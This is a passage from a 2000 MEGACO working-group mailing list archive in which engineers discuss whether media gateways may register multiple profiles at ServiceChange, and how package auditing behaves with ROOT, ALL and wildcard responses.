<P><FONT SIZE=3D2>Re solutions, I recall seeing on this thread:</FONT>
<BR><FONT SIZE=3D2>1) Backoff mechanism, try Profile X, and if MG can't =
get it confirmed, go to next less capable profile Y.&nbsp; </FONT>
<BR><FONT SIZE=3D2>2) Use multiple virtual MGs within the same physical =
device, </FONT>
<BR><FONT SIZE=3D2>3) Define super-profiles, containing X + Y, and =
being sure to resolve any resulting ambiguity (noting we currently have =
no rules for subclassing-like mechanism a la package definition, but it =
would be a nice version 2 piece to work through).&nbsp; </FONT></P>

<P><FONT SIZE=3D2>May have missed some (did not go back and =
double-check).&nbsp; </FONT>
</P>

<P><FONT SIZE=3D2>I also think a brief note on what profiles are =
intended to do (avoiding explicit rules) would be in order.&nbsp; I =
think most of that material has also gone by in this thread.&nbsp; =
</FONT></P>

<P><FONT SIZE=3D2>My 0.05 (to avoid Oz round-off ;-)</FONT>
</P>

<P><FONT SIZE=3D2>-- Peter</FONT>
</P>

<P><FONT SIZE=3D2>-----Original Message-----</FONT>
<BR><FONT SIZE=3D2>From: Christian Groves [<A =
HREF=3D"mailto:Christian.Groves@ERICSSON.COM">mailto:Christian.Groves@ER=
ICSSON.COM</A>]</FONT>
<BR><FONT SIZE=3D2>Sent: Wednesday, September 06, 2000 19:59</FONT>
<BR><FONT SIZE=3D2>To: MEGACO@STANDARDS.NORTELNETWORKS.COM</FONT>
<BR><FONT SIZE=3D2>Subject: Re: Profiles in Service Change</FONT>
</P>
<BR>

<P><FONT SIZE=3D2>G'Day Brian,</FONT>
</P>

<P><FONT SIZE=3D2>I completely agree that we want to make it HARD to =
have a multiplicity</FONT>
<BR><FONT SIZE=3D2>of overlapping profiles.&nbsp; But with the current =
text I see that we make</FONT>
<BR><FONT SIZE=3D2>it impossible, its got one profile and only talks =
about a profile. That</FONT>
<BR><FONT SIZE=3D2>is why I'd like to see : a technical change in the =
implementor's guide</FONT>
<BR><FONT SIZE=3D2>or an implementation or &quot;something&quot; to say =
at least say how you cope</FONT>
<BR><FONT SIZE=3D2>with the case where: the MG supports multiple =
profiles and/or the MGC</FONT>
<BR><FONT SIZE=3D2>needs to access 2 profiles to complete a service. =
Its a real world issue</FONT>
<BR><FONT SIZE=3D2>that we have to deal with as soon as we have 2 =
profiles defined.</FONT>
</P>

<P><FONT SIZE=3D2>Cheers, Christian</FONT>
</P>

<P><FONT SIZE=3D2>&quot;Rosen, Brian&quot; wrote:</FONT>
<BR><FONT SIZE=3D2>&gt;</FONT>
<BR><FONT SIZE=3D2>&gt; What is wrong is that it promotes proliferation =
of</FONT>
<BR><FONT SIZE=3D2>&gt; many overlapping profiles.&nbsp; Profiles are =
supposed to be</FONT>
<BR><FONT SIZE=3D2>&gt; a way of reducing the variability that Packages =
provide,</FONT>
<BR><FONT SIZE=3D2>&gt; so that one could reasonably expect to be able =
to find</FONT>
<BR><FONT SIZE=3D2>&gt; interoperable MGs and MGCs.</FONT>
<BR><FONT SIZE=3D2>&gt;</FONT>
<BR><FONT SIZE=3D2>&gt; No one can legislate this (no protocol =
police...), but</FONT>
<BR><FONT SIZE=3D2>&gt; we can encourage, or discourage proliferation =
of</FONT>
<BR><FONT SIZE=3D2>&gt; many profiles that attempt to solve the same =
problem</FONT>
<BR><FONT SIZE=3D2>&gt; different ways.&nbsp; If you support 100 =
profiles, you may</FONT>
<BR><FONT SIZE=3D2>&gt; as well just ignore the profile info and look =
at the</FONT>
<BR><FONT SIZE=3D2>&gt; audited package list!</FONT>
<BR><FONT SIZE=3D2>&gt;</FONT>
<BR><FONT SIZE=3D2>&gt; I want to make it HARD to have more than one =
profile</FONT>
<BR><FONT SIZE=3D2>&gt; per MG (not MGC).&nbsp; Not impossible, just =
hard.&nbsp; I think</FONT>
<BR><FONT SIZE=3D2>&gt; that will encourage coalescing around a small =
number of</FONT>
<BR><FONT SIZE=3D2>&gt; profiles for specific purposes that all =
relevant MGs and</FONT>
<BR><FONT SIZE=3D2>&gt; MGCs support, which in turn will make the =
protocol successful.</FONT>
<BR><FONT SIZE=3D2>&gt;</FONT>
<BR><FONT SIZE=3D2>&gt; What I fear is balkanization by proliferation =
of profiles,</FONT>
<BR><FONT SIZE=3D2>&gt; which leads to non-interoperable devices.&nbsp; =
It would be non</FONT>
<BR><FONT SIZE=3D2>&gt; interoperable because there were no common =
profiles, rather</FONT>
<BR><FONT SIZE=3D2>&gt; that if you found a common one, it wouldn't =
work.&nbsp; The</FONT>
<BR><FONT SIZE=3D2>&gt; package mechanism is a wonderful way to have =
all sorts of</FONT>
<BR><FONT SIZE=3D2>&gt; extensions and features in MGs.&nbsp; The =
profile mechanism was</FONT>
<BR><FONT SIZE=3D2>&gt; designed to provide a way to corral the easy =
expansion into</FONT>
<BR><FONT SIZE=3D2>&gt; more limited groups of options.&nbsp; =
Generally, successful</FONT>
<BR><FONT SIZE=3D2>&gt; protocols are not easy &quot;bent&quot; in many =
different ways -&gt; you</FONT>
<BR><FONT SIZE=3D2>&gt; get ONE way, and everyone does it that way, and =
the world</FONT>
<BR><FONT SIZE=3D2>&gt; is better for it.&nbsp; The package thing is =
great, but it is</FONT>
<BR><FONT SIZE=3D2>&gt; a danger.&nbsp; The profile is the only way I =
know to limit it's</FONT>
<BR><FONT SIZE=3D2>&gt; potential to undermine the effectiveness of the =
protocol.</FONT>
<BR><FONT SIZE=3D2>&gt;</FONT>
<BR><FONT SIZE=3D2>&gt; Brian</FONT>
<BR><FONT SIZE=3D2>&gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; -----Original Message-----</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; From: Flemming Andreasen [<A =
HREF=3D"mailto:fandreas@cisco.com">mailto:fandreas@cisco.com</A>]</FONT>=

<BR><FONT SIZE=3D2>&gt; &gt; Sent: Wednesday, September 06, 2000 10:01 =
AM</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; To: Michael P DiGioia</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; Cc: MEGACO@STANDARDS.NORTELNETWORKS.COM; =
Christian Groves;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; Rosen, Brian</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; Subject: Re: Profiles in Service =
Change</FONT>
<BR><FONT SIZE=3D2>&gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; Michael P DiGioia wrote:</FONT>
<BR><FONT SIZE=3D2>&gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; Brian,</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; &gt; So does that mean that =
nobody can make an MG which</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; supports more than</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt; &gt; one profile? :-)</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt;One way to get around the =
limitation is to try to get</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt;service using the most =
&quot;featurefull&quot; profile.&nbsp; If you fail</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt;to find an MGC that can serve =
that profile, try again with</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; &gt;a different profile.</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; I agree. I believe the point is that =
any one MG can support</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; one or more</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; profile, however, once the most =
featurefull profile is</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; found to be accepted</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; by an MGC, use it.</FONT>
<BR><FONT SIZE=3D2>&gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; I disagree as Brian's comments assumes a =
meaningful ordering</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; relation between</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; (at least a resonable subset of) profiles =
based on some set</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; of features</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; supported. I don't see that. Christian's =
proposal of allowing</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; a listing of</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; profiles seemed pretty good to me - what =
was wrong with this again ?</FONT>
<BR><FONT SIZE=3D2>&gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; -- Flemming</FONT>
<BR><FONT SIZE=3D2>&gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; What we build into our IpPhone MG is =
our choice. I don't</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; believe this limits</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; us in any way. If so, how?</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; /mpd</FONT>
<BR><FONT SIZE=3D2>&gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; --</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; Flemming Andreasen</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; Cisco Systems</FONT>
<BR><FONT SIZE=3D2>&gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt;</FONT>
</P>

</BODY>
</HTML>
------_=_NextPart_001_01C01C06.DE387F80--


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Mon Sep 11 12:33:45 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id MAA06097
	for <megaco-archive@LISTS.IETF.ORG>; Mon, 11 Sep 2000 12:33:39 -0400 (EDT)
Received: from standards (47.234.32.16:4897) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB92008@standards.nortelnetworks.com>; Mon, 11 Sep 2000 12:18:31 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 2653 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Mon, 11 Sep 2000 12:18:31 -0400
Received: from qhars002.nortel.com (47.101.112.102:38979) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP
          id <0.FFB92007@standards.nortelnetworks.com>; Mon, 11 Sep 2000
          12:18:30 -0400
Received: from smtprch1.nortel.com (actually erchg0j) by qhars002.nortel.com;
          Mon, 11 Sep 2000 17:20:15 +0100
Received: from zrchb213.us.nortel.com (actually zrchb213) by
          smtprch1.nortel.com; Mon, 11 Sep 2000 11:19:29 -0500
Received: by zrchb213.us.nortel.com with Internet Mail Service (5.5.2652.35) id
          <SVJ742S2>; Mon, 11 Sep 2000 11:19:24 -0500
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2652.35)
Content-Type: multipart/alternative;
              boundary="----_=_NextPart_001_01C01C0C.0B5BE150"
Message-ID:  <353093573B82D411889E0000F808216648E34B@zcard00q.ca.nortel.com>
Date:         Mon, 11 Sep 2000 11:19:22 -0500
Reply-To: Peter Blatherwick <blather@NORTELNETWORKS.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: Peter Blatherwick <blather@NORTELNETWORKS.COM>
Subject:      Re: Profiles in Service Change
X-To:         Christian Groves <Christian.Groves@ericsson.com>
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C01C0C.0B5BE150
Content-Type: text/plain;
        charset="iso-8859-1"

A delayed G'Day back Christian:

I believe most of your queries on the below post were already answered one
way or another, so I snipped liberally.  If not satisfied, please post them
again.  I only touch on a couple of the points here, [PB].

-- Peter

-----Original Message-----
From: Christian Groves [mailto:Christian.Groves@ericsson.com]
Sent: Wednesday, September 06, 2000 19:51
To: Blatherwick, Peter [CAR:AT14:EXCH]
Cc: MEGACO@STANDARDS.NORTELNETWORKS.COM
Subject: Re: Profiles in Service Change


G'Day Pete,

Please see the dicussion of your points below marked [CHG]

...
>
> Confusion only occurs when there is more than one profile in operation
> at a time between MGC-MG pairs.  Allowing this I think will lead to
> trouble at least until clean, clear profile definition rules are
> defined.  (Even then I'm not entirely convinced.)

[CHG] Can you please explain why there is confusion?
To me an MGC knows what application it wants and will choose the
appropriate Profile along with the appropriate packages/properties etc.
The MG is just a slave to this so there should be no confusion there.
Isn't the ServiceChange profile more of a "hey this is what I support,
its up to you to use me how you want within these parameters" rather
than you shall do this.

[PB] Key difficulty is overlapping assumptions in the multiple profiles
being in conflict with each other, or otherwise causing ambiguity.  Both MG
and MGC side would need to deal with this ambiguity, at some cost in
complexity, and (most alarming) by each making additional assumptions on how
to resolve the ambiguities.  Since we have no specific rules, result would
be potentially serious interoperability problems.

[PB] If for example profile X defines a naming convention for its
terminations which overlaps the convention used by profile Y, the MG cannot
resolve a command from the MGC without knowing which specific application (X
or Y) sent it in the first place.


> Your proposed
> change, as I understood it, would allow for multiple profiles to be
> registered by the MG side at ServiceChange, hence I do not agree we
> should do that in the Implementer's Guide.  Would like some basic
> discussion of above points captured though.

[CHG] I think its important to note that the Implementers Guide has 2
sections. One for Technical and Editorial Changes. Another Sections for
notes to guide Implementors which is non-normative ie. it won't appear
in the protocol. If we can't agree on a technical change (I still think
its worth discussing this) then we should at least offer some advice in
the advice section. So I don't want sweep this under the carpet by
saying we'll discuss it later because the later we leave it the bigger
problem this will be.

[PB] I definitely agree (as above) we should supply some advice, not just
sweep it under the carpet. (The lump would be unsightly, and we'd keep
tripping over it ;-)   See outline just posted elsewhere on this thread for
what I believe should be in there.  Technical changes to properly support
what we have been discussing here would be well beyond a simple technical or
editorial change.  To properly address the issues, if we feel they truly
need to be addressed, will take some real effort.  For now, what we have in
place seems quite workable.

[PB} [snip]

------_=_NextPart_001_01C01C0C.0B5BE150
Content-Type: text/html;
        charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Diso-8859-1">
<META NAME=3D"Generator" CONTENT=3D"MS Exchange Server version =
5.5.2652.35">
<TITLE>RE: Profiles in Service Change</TITLE>
</HEAD>
<BODY>

<P><FONT SIZE=3D2>A delayed G'Day back Christian: </FONT>
</P>

<P><FONT SIZE=3D2>I believe most of your queries on the below post were =
already answered one way or another, so I snipped liberally.&nbsp; If =
not satisfied, please post them again.&nbsp; I only touch on a couple =
of the points here, [PB].&nbsp; </FONT></P>

<P><FONT SIZE=3D2>-- Peter</FONT>
</P>

<P><FONT SIZE=3D2>-----Original Message-----</FONT>
<BR><FONT SIZE=3D2>From: Christian Groves [<A =
HREF=3D"mailto:Christian.Groves@ericsson.com">mailto:Christian.Groves@er=
icsson.com</A>]</FONT>
<BR><FONT SIZE=3D2>Sent: Wednesday, September 06, 2000 19:51</FONT>
<BR><FONT SIZE=3D2>To: Blatherwick, Peter [CAR:AT14:EXCH]</FONT>
<BR><FONT SIZE=3D2>Cc: MEGACO@STANDARDS.NORTELNETWORKS.COM</FONT>
<BR><FONT SIZE=3D2>Subject: Re: Profiles in Service Change</FONT>
</P>
<BR>

<P><FONT SIZE=3D2>G'Day Pete,</FONT>
</P>

<P><FONT SIZE=3D2>Please see the dicussion of your points below marked =
[CHG]</FONT>
</P>

<P><FONT SIZE=3D2>...</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; Confusion only occurs when there is more than =
one profile in operation</FONT>
<BR><FONT SIZE=3D2>&gt; at a time between MGC-MG pairs.&nbsp; Allowing =
this I think will lead to</FONT>
<BR><FONT SIZE=3D2>&gt; trouble at least until clean, clear profile =
definition rules are</FONT>
<BR><FONT SIZE=3D2>&gt; defined.&nbsp; (Even then I'm not entirely =
convinced.) </FONT>
<BR><FONT SIZE=3D2>&nbsp;</FONT>
<BR><FONT SIZE=3D2>[CHG] Can you please explain why there is =
confusion?</FONT>
<BR><FONT SIZE=3D2>To me an MGC knows what application it wants and =
will choose the</FONT>
<BR><FONT SIZE=3D2>appropriate Profile along with the appropriate =
packages/properties etc.</FONT>
<BR><FONT SIZE=3D2>The MG is just a slave to this so there should be no =
confusion there.</FONT>
<BR><FONT SIZE=3D2>Isn't the ServiceChange profile more of a &quot;hey =
this is what I support,</FONT>
<BR><FONT SIZE=3D2>its up to you to use me how you want within these =
parameters&quot; rather</FONT>
<BR><FONT SIZE=3D2>than you shall do this. </FONT>
</P>

<P><FONT SIZE=3D2>[PB] Key difficulty is overlapping assumptions in the =
multiple profiles being in conflict with each other, or otherwise =
causing ambiguity.&nbsp; Both MG and MGC side would need to deal with =
this ambiguity, at some cost in complexity, and (most alarming) by each =
making additional assumptions on how to resolve the ambiguities.&nbsp; =
Since we have no specific rules, result would be potentially serious =
interoperability problems.&nbsp; </FONT></P>

<P><FONT SIZE=3D2>[PB] If for example profile X defines a naming =
convention for its terminations which overlaps the convention used by =
profile Y, the MG cannot resolve a command from the MGC without knowing =
which specific application (X or Y) sent it in the first place.&nbsp; =
</FONT></P>
<BR>

<P><FONT SIZE=3D2>&gt; Your proposed</FONT>
<BR><FONT SIZE=3D2>&gt; change, as I understood it, would allow for =
multiple profiles to be</FONT>
<BR><FONT SIZE=3D2>&gt; registered by the MG side at ServiceChange, =
hence I do not agree we</FONT>
<BR><FONT SIZE=3D2>&gt; should do that in the Implementer's =
Guide.&nbsp; Would like some basic</FONT>
<BR><FONT SIZE=3D2>&gt; discussion of above points captured =
though.</FONT>
</P>

<P><FONT SIZE=3D2>[CHG] I think its important to note that the =
Implementers Guide has 2</FONT>
<BR><FONT SIZE=3D2>sections. One for Technical and Editorial Changes. =
Another Sections for</FONT>
<BR><FONT SIZE=3D2>notes to guide Implementors which is non-normative =
ie. it won't appear</FONT>
<BR><FONT SIZE=3D2>in the protocol. If we can't agree on a technical =
change (I still think</FONT>
<BR><FONT SIZE=3D2>its worth discussing this) then we should at least =
offer some advice in</FONT>
<BR><FONT SIZE=3D2>the advice section. So I don't want sweep this under =
the carpet by</FONT>
<BR><FONT SIZE=3D2>saying we'll discuss it later because the later we =
leave it the bigger</FONT>
<BR><FONT SIZE=3D2>problem this will be.</FONT>
</P>

<P><FONT SIZE=3D2>[PB] I definitely agree (as above) we should supply =
some advice, not just sweep it under the carpet. (The lump would be =
unsightly, and we'd keep tripping over it ;-)&nbsp;&nbsp; See outline =
just posted elsewhere on this thread for what I believe should be in =
there.&nbsp; Technical changes to properly support what we have been =
discussing here would be well beyond a simple technical or editorial =
change.&nbsp; To properly address the issues, if we feel they truly =
need to be addressed, will take some real effort.&nbsp; For now, what =
we have in place seems quite workable.&nbsp; </FONT></P>

<P><FONT SIZE=3D2>[PB} [snip]</FONT>
</P>

</BODY>
</HTML>
------_=_NextPart_001_01C01C0C.0B5BE150--


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Mon Sep 11 14:16:06 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id OAA07446
	for <megaco-archive@LISTS.IETF.ORG>; Mon, 11 Sep 2000 14:16:05 -0400 (EDT)
Received: from standards (47.234.32.16:3489) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB92065@standards.nortelnetworks.com>; Mon, 11 Sep 2000 14:01:03 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 2779 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Mon, 11 Sep 2000 14:01:03 -0400
Received: from tapti.hss.hns.com by standards.nortelnetworks.com (LSMTP for
          Windows NT v1.1b) with SMTP id
          <0.FFB92064@standards.nortelnetworks.com>; Mon, 11 Sep 2000 14:00:55
          -0400
Received: from sandesh.hss.hns.com (sandesh.hss.hns.com [139.85.242.35]) by
          tapti.hss.hns.com (8.10.0/8.10.0) with SMTP id e8BJNIa09428; Tue, 12
          Sep 2000 00:53:18 +0530 (IST)
Received: by sandesh.hss.hns.com(Lotus SMTP MTA v4.6.3  (733.2 10-16-1998))  id
          65256957.006334D8 ; Mon, 11 Sep 2000 23:33:35 +0530
X-Lotus-FromDomain: HSS
Mime-Version: 1.0
Content-type: text/plain; charset=us-ascii
Content-Disposition: inline
Message-ID:  <65256957.00633440.00@sandesh.hss.hns.com>
Date:         Mon, 11 Sep 2000 23:38:49 +0530
Reply-To: bmbabu@HSS.HNS.COM
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: Madhu Babu <bmbabu@HSS.HNS.COM>
Subject:      Re: Audit of Packages
X-To:         "Rosen, Brian" <Brian.Rosen@MARCONI.COM>
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

hi Brian,
the second point raises some confusion. If wildcard union response is intended
then MGC can use the switch "W-" token in the command request itself. This
serves two purposes. First  (if "W-" is present) to enable generation of
Wildcard Union response from MG  and second (without "W-") to send multiple
responses from MG with each termination and the associated packages supported in
each of the responses. The table given in Audit value command sec 7.2.5 seems to
address the same (ContextId=NULL TerminationID=ALL, Information obtained is
"Audit of all terminations in NULL context"). Is this understanding correct??
-Madhu Babu
Hughes Software Systems.






"Rosen, Brian" <Brian.Rosen@MARCONI.COM> on 09/11/2000 09:09:01 PM

Please respond to "Rosen, Brian" <Brian.Rosen@MARCONI.COM>

To:   MEGACO@STANDARDS.NORTELNETWORKS.COM
cc:    (bcc: Madhu B Babu/HSS)

Subject:  Audit of Packages




In some private correspondence, there was some continuing
confusion on auditValue of Packages.  Here is my current
understanding:

1. If you audit ROOT, using NULL context, you get the list
of Packages implemented on ROOT. You don't get Packages
implemented on any other terminations.

2. If you audit ALL, using NULL context, you get the union of
packages implemented on any termination in NULL.  Since, right
after boot, all terminations are in NULL, this is the normal
way you get the list of packages implemented on the gateway.
A notable side effect:
        ROOT is not in ALL.
        Therefore, Context=-{AuditValue=*{Audit{Packages}}}
                DOES NOT get you packages implemented on ROOT

3. If you audit ALL, using ALL context, you get the union
of packages implemented on any termination in any Context other
than NULL.  You would do this if you needed the packages list
when some terminations were in contexts other than NULL.

Please note that if you ask for an audit of ALL in ALL, and there
are no terminations in Contexts other than NULL, you get an
error (431 - No TerminationID matched a wildcard).

Is that everyone else's understanding?

Brian


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Mon Sep 11 14:39:00 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id OAA07736
	for <megaco-archive@LISTS.IETF.ORG>; Mon, 11 Sep 2000 14:38:50 -0400 (EDT)
Received: from standards (47.234.32.16:3489) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB9208F@standards.nortelnetworks.com>; Mon, 11 Sep 2000 14:23:39 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 2832 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Mon, 11 Sep 2000 14:23:39 -0400
Received: from mailgate.pit.comms.marconi.com by standards.nortelnetworks.com
          (LSMTP for Windows NT v1.1b) with SMTP id
          <0.FFB9208E@standards.nortelnetworks.com>; Mon, 11 Sep 2000 14:23:38
          -0400
Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com
          [169.144.2.12]) by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with
          ESMTP id OAA15302; Mon, 11 Sep 2000 14:36:01 -0400 (EDT)
Received: from whq-msgrtr-01.fore.com (whq-msgrtr-01.pit.comms.marconi.com
          [169.144.2.221]) by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with
          ESMTP id OAA29715; Mon, 11 Sep 2000 14:36:01 -0400 (EDT)
Received: by whq-msgrtr-01.pit.comms.marconi.com with Internet Mail Service
          (5.5.2650.21) id <SPQ8PJWY>; Mon, 11 Sep 2000 14:35:50 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain; charset="ISO-8859-1"
Message-ID:  <4FBEA8857476D311A03300204840E1CF67885B@whq-msgusr-02.pit.comms.marconi.com>
Date:         Mon, 11 Sep 2000 14:35:45 -0400
Reply-To: "Rosen, Brian" <Brian.Rosen@MARCONI.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: "Rosen, Brian" <Brian.Rosen@MARCONI.COM>
Subject:      Re: Audit of Packages
X-To:         "bmbabu@hss.hns.com" <bmbabu@hss.hns.com>
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

Yes, I'm sorry I introduced confusion -- to get the UNION
of packages implemented on a wildcarded terminationId,
including ALL, you need to use wildcard response (W-).
If you don't, you get a response for each terminationId
matched.

Brian

> -----Original Message-----
> From: bmbabu@hss.hns.com [mailto:bmbabu@hss.hns.com]
> Sent: Monday, September 11, 2000 2:09 PM
> To: Rosen, Brian
> Cc: MEGACO@STANDARDS.NORTELNETWORKS.COM
> Subject: Re: Audit of Packages
>
>
>
>
> hi Brian,
> the second point raises some confusion. If wildcard union
> response is intended
> then MGC can use the switch "W-" token in the command request
> itself. This
> serves two purposes. First  (if "W-" is present) to enable
> generation of
> Wildcard Union response from MG  and second (without "W-") to
> send multiple
> responses from MG with each termination and the associated
> packages supported in
> each of the responses. The table given in Audit value command
> sec 7.2.5 seems to
> address the same (ContextId=NULL TerminationID=ALL,
> Information obtained is
> "Audit of all terminations in NULL context"). Is this
> understanding correct??
> -Madhu Babu
> Hughes Software Systems.
>
>
>
>
>
>
> "Rosen, Brian" <Brian.Rosen@MARCONI.COM> on 09/11/2000 09:09:01 PM
>
> Please respond to "Rosen, Brian" <Brian.Rosen@MARCONI.COM>
>
> To:   MEGACO@STANDARDS.NORTELNETWORKS.COM
> cc:    (bcc: Madhu B Babu/HSS)
>
> Subject:  Audit of Packages
>
>
>
>
> In some private correspondence, there was some continuing
> confusion on auditValue of Packages.  Here is my current
> understanding:
>
> 1. If you audit ROOT, using NULL context, you get the list
> of Packages implemented on ROOT. You don't get Packages
> implemented on any other terminations.
>
> 2. If you audit ALL, using NULL context, you get the union of
> packages implemented on any termination in NULL.  Since, right
> after boot, all terminations are in NULL, this is the normal
> way you get the list of packages implemented on the gateway.
> A notable side effect:
>         ROOT is not in ALL.
>         Therefore, Context=-{AuditValue=*{Audit{Packages}}}
>                 DOES NOT get you packages implemented on ROOT
>
> 3. If you audit ALL, using ALL context, you get the union
> of packages implemented on any termination in any Context other
> than NULL.  You would do this if you needed the packages list
> when some terminations were in contexts other than NULL.
>
> Please note that if you ask for an audit of ALL in ALL, and there
> are no terminations in Contexts other than NULL, you get an
> error (431 - No TerminationID matched a wildcard).
>
> Is that everyone else's understanding?
>
> Brian
>
>
>
>
>
>


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Mon Sep 11 17:11:04 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id RAA09093
	for <megaco-archive@LISTS.IETF.ORG>; Mon, 11 Sep 2000 17:11:03 -0400 (EDT)
Received: from standards (47.234.32.16:1703) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB921A4@standards.nortelnetworks.com>; Mon, 11 Sep 2000 16:54:41 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 0155 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Mon, 11 Sep 2000 16:54:41 -0400
Received: from fw7.usa.alcatel.com by standards.nortelnetworks.com (LSMTP for
          Windows NT v1.1b) with SMTP id
          <0.FFB92192@standards.nortelnetworks.com>; Mon, 11 Sep 2000 16:44:40
          -0400
Received: (from uucp@localhost) by fw7.usa.alcatel.com (8.8.8+Sun/8.8.8) id
          PAA24341 for <MEGACO@STANDARDS.NORTELNETWORKS.COM>; Mon, 11 Sep 2000
          15:54:36 -0500 (CDT)
Received: from <Chuong.Nguyen@usa.alcatel.com> (relay2-alt.usa.alcatel.com
          [143.209.167.22]) by fw7 via smap (V2.1) id xma024159; Mon, 11 Sep 00
          15:54:24 -0500
Received: from ssd.usa.alcatel.com (localhost [127.0.0.1]) by
          relay2.usa.alcatel.com (8.9.3/8.9.3) with ESMTP id PAA10701 for
          <MEGACO@STANDARDS.NORTELNETWORKS.COM>; Mon, 11 Sep 2000 15:58:31
          -0500 (CDT)
Received: from sun1654.ssd.usa.alcatel.com (sun1654.ssd.usa.alcatel.com
          [143.209.153.117]) by ssd.usa.alcatel.com (8.8.8+Sun/8.8.8) with
          ESMTP id PAA05769 for <MEGACO@STANDARDS.NORTELNETWORKS.COM>; Mon, 11
          Sep 2000 15:56:43 -0500 (CDT)
